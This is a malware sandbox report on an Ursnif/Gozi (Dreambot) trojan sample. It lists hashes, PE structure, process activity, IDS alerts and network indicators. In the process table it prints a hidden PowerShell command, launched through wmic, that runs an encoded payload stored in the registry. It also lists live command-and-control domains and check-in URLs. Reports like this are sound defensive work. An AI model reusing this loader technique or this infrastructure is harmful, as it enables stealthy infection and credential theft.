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File name:

ulof5.wos

Full analysis: https://app.any.run/tasks/1ab083a1-12be-482d-a6a4-530d3556b0d9
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: November 15, 2018, 10:54:07
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
gozi
ursnif
dreambot
evasion
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
MD5:

39A913B010F9FC831F64CD3FC832CFDD

SHA1:

8CCEB7C3BD4CA445D51DC7828A0C72F135441E52

SHA256:

8DC0CF33B446D581488A26538C3906F6070BDFCA2FAB39D48201B259309704F8

SSDEEP:

3072:lPbzu+pvpakcnA2fqXvz8IB/m7XUzi15/zGsx0tH/26/:dnZRwdbqXvgIB/m7kziCsStHO6/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • URSNIF was detected

      • iexplore.exe (PID: 256)
      • iexplore.exe (PID: 2400)
    • Connects to CnC server

      • iexplore.exe (PID: 256)
      • iexplore.exe (PID: 2400)
    • Runs injected code in another process

      • powershell.exe (PID: 716)
    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 3744)
    • Application was injected by another process

      • explorer.exe (PID: 1604)
    • Stealing of credential data

      • explorer.exe (PID: 1604)
    • URSNIF Shellcode was detected

      • explorer.exe (PID: 1604)
  • SUSPICIOUS

    • Reads Internet Cache Settings

      • explorer.exe (PID: 1604)
    • Uses WMIC.EXE to create a new process

      • explorer.exe (PID: 1604)
    • Creates files in the user directory

      • powershell.exe (PID: 716)
    • Starts CMD.EXE for commands execution

      • explorer.exe (PID: 1604)
    • Checks for external IP

      • nslookup.exe (PID: 1536)
  • INFO

    • Changes internet zones settings

      • iexplore.exe (PID: 1864)
    • Reads internet explorer settings

      • iexplore.exe (PID: 256)
      • iexplore.exe (PID: 2400)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 256)
      • iexplore.exe (PID: 2400)
    • Application launched itself

      • iexplore.exe (PID: 1864)
    • Creates files in the user directory

      • iexplore.exe (PID: 256)
      • iexplore.exe (PID: 1864)
    • Reads settings of System Certificates

      • explorer.exe (PID: 1604)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | UPX compressed Win32 Executable (39.3)
.exe | Win32 EXE Yoda's Crypter (38.6)
.dll | Win32 Dynamic Link Library (generic) (9.5)
.exe | Win32 Executable (generic) (6.5)
.exe | Generic Win/DOS Executable (2.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:11:15 10:31:00+01:00
PEType: PE32
LinkerVersion: 7.1
CodeSize: 65536
InitializedDataSize: 4096
UninitializedDataSize: 90112
EntryPoint: 0x26b60
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 15-Nov-2018 09:31:00
Detected languages:
  • Russian - Russia

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000E0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 15-Nov-2018 09:31:00
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
UPX0
0x00001000
0x00016000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
UPX1
0x00017000
0x00010000
0x0000FE00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.90682
.rsrc
0x00027000
0x00001000
0x00000600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
1.89617

Resources

Title
Entropy
Size
Codepage
Language
Type
1
1.35894
744
UNKNOWN
Russian - Russia
RT_ICON
103
2.16096
20
UNKNOWN
Russian - Russia
RT_GROUP_ICON

Imports

KERNEL32.DLL
ole32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
57
Monitored processes
18
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start inject ulof5.wos.exe no specs ulof5.wos.exe no specs iexplore.exe #URSNIF iexplore.exe #URSNIF iexplore.exe wmic.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs #URSNIF explorer.exe cmd.exe no specs ping.exe no specs cmd.exe no specs nslookup.exe cmd.exe no specs makecab.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1840"C:\Users\admin\Desktop\ulof5.wos.exe" C:\Users\admin\Desktop\ulof5.wos.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3492"C:\Users\admin\Desktop\ulof5.wos.exe" C:\Users\admin\Desktop\ulof5.wos.exeulof5.wos.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1864"C:\Program Files\Internet Explorer\iexplore.exe" -EmbeddingC:\Program Files\Internet Explorer\iexplore.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
256"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1864 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2400"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1864 CREDAT:203009C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3920"C:\Windows\system32\wbem\wmic.exe" /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB').crypptsp))"C:\Windows\system32\wbem\wmic.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
716powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB').crypptsp))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2420"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\eo3wmwmt.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
3144C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES2CC.tmp" "c:\Users\admin\AppData\Local\Temp\CSC2CB.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
2932"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\lqroo4q8.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
Total events
2 619
Read events
2 471
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
13
Text files
12
Unknown types
2

Dropped files

PID
Process
Filename
Type
1864iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFA432C461675A1753.TMP
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFBA221B6A5D810F92.TMP
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YGADP0T5I1GBNYMUSNEQ.temp
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF9D1555718F86CBC4.TMP
MD5:
SHA256:
1864iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{08251C35-E8C5-11E8-BFAB-5254004AAD11}.dat
MD5:
SHA256:
716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XL8LZ1J0AL02U1C53V2N.temp
MD5:
SHA256:
716powershell.exeC:\Users\admin\AppData\Local\Temp\eo3wmwmt.0.cs
MD5:
SHA256:
716powershell.exeC:\Users\admin\AppData\Local\Temp\eo3wmwmt.cmdline
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
11
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1864
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
256
iexplore.exe
GET
200
46.17.46.173:80
http://cjwefomatt.com/images/JIrehcLK_2FRxxgw/2K_2FJPF8JpT_2F/y4RMyI4_2Bji74m9MU/h4JhrbcW_/2Br_2FwNpGSby0bIte32/lH7beiyumUuZ4ZL2m2x/TAD_2BzTBklbpUEHpor66A/ZCwmkE0vIIOFo/uqNY8Kcz/4YPGTRvxx9VXYiKveRPcmg2/8.avi
RU
text
158 Kb
malicious
2400
iexplore.exe
GET
200
46.17.46.173:80
http://cjwefomatt.com/images/aWf8v0b65TL4B3C/mjILPynysRoY_2Fx7c/_2BU6vjZl/usEZ8IqeuIJ5NXzsvBKu/yH9GRNYCma8oKLKCCPP/Qt7A2WwB9UrkFdWdsfIQVO/h_2FOpjbLfUFm/1XnRHJJe/QYKBMm3Xat_2BfHkAy9RSSr/Yy9oyaCBp/lS.avi
RU
text
1.75 Kb
malicious
1864
iexplore.exe
GET
200
46.17.46.173:80
http://cjwefomatt.com/favicon.ico
RU
image
5.30 Kb
malicious
1864
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
1604
explorer.exe
GET
200
2.16.186.56:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
unknown
compressed
54.4 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1864
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
256
iexplore.exe
46.17.46.173:80
cjwefomatt.com
LLC Baxet
RU
malicious
2400
iexplore.exe
46.17.46.173:80
cjwefomatt.com
LLC Baxet
RU
malicious
1864
iexplore.exe
46.17.46.173:80
cjwefomatt.com
LLC Baxet
RU
malicious
1536
nslookup.exe
208.67.222.222:53
resolver1.opendns.com
OpenDNS, LLC
US
malicious
1604
explorer.exe
95.181.198.231:443
podyerlosteol.com
Dataline Ltd
RU
malicious
1604
explorer.exe
2.16.186.56:80
www.download.windowsupdate.com
Akamai International B.V.
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
cjwefomatt.com
  • 46.17.46.173
malicious
resolver1.opendns.com
  • 208.67.222.222
shared
myip.opendns.com
  • 82.102.22.108
shared
podyerlosteol.com
  • 95.181.198.231
malicious
www.download.windowsupdate.com
  • 2.16.186.56
  • 2.16.186.81
whitelisted

Threats

PID
Process
Class
Message
256
iexplore.exe
A Network Trojan was detected
SC SPYWARE TrojanSpy:Win32/Ursnif variant
256
iexplore.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2400
iexplore.exe
A Network Trojan was detected
SC SPYWARE TrojanSpy:Win32/Ursnif variant
2400
iexplore.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
1536
nslookup.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
1536
nslookup.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
1604
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected
1604
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected
1604
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected
7 ETPRO signatures available at the full report
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144